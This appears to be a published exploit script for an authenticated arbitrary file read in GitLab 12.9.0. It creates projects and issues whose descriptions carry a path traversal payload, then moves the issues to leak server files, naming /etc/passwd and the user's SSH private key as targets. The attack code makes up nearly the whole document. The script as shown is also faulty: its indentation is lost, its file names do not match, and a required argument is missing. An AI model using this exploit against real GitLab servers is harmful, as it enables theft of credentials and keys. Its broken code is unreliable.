Authored by Jasper Rasenberg

Gitlab version 12.9.0 authenticated arbitrary file read exploit. A file read vulnerability was previously discovered in this version in May of 2020 by KouroshRZ.

# Exploit Title: Gitlab 12.9.0 - Arbitrary File Read (Authenticated)
# Google Dork: -
# Date: 11/15/2020
# Exploit Author: Jasper Rasenberg
# Vendor Homepage: https://about.gitlab.com
# Software Link: https://about.gitlab.com/install
# Version: tested on gitlab version 12.9.0
# Tested on: Kali Linux 2020.3



#You can create as many personal access tokens as you like from your GitLab profile.
# Sign in to GitLab.
# In the upper-right corner, click your avatar and select Settings.
# On the User Settings menu, select Access Tokens.
# Choose a name and optional expiry date for the token.
# Choose the desired scopes.
# Click the Create personal access token button.
# Save the personal access token somewhere safe. If you navigate away or refresh your page, and you did not save the token, you must create a new one.

# REFERENCE: https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html

# pip3 install gitlab
# pip3 install requests
# Use a client cert to verify SSL or set to False

import os
import requests
import json
from time import sleep
from gitlab import *

session = requests.Session()
session.verify = f'{os.getcwd()}/<cert.pem>' # or set session.verify = False

host = ''

def exploit(projectName, issueTitle, files, token):

gl = Gitlab(host, private_token=token, session=session)
gl.auth()
p1 = gl.projects.create({'name': f"{projectName}-1"})
p2 = gl.projects.create({'name': f"{projectName}-2"})

for i, f in enumerate(files):
stripped_f = f.rstrip('n')
issue = p1.issues.create({
'title': f"{issueTitle}-{i}",
'description':
"![a](/uploads/11111111111111111111111111111111/"
f"../../../../../../../../../../../../../..{stripped_f})"})
print(issue.description)
sleep(3)
try:
issue.move(p2.id)
except Exception as e:
pass
sleep(3)

if __name__ == "__main__":

write_files = ['/etc/passwd', '~/.ssh/id_rsa']
with open('senstive_files', 'w') as sens:
for file in write_files:
sens.write(file)

files = list(open('sensitive_files', 'r'))
exploit('project-1', 'issue-1', files)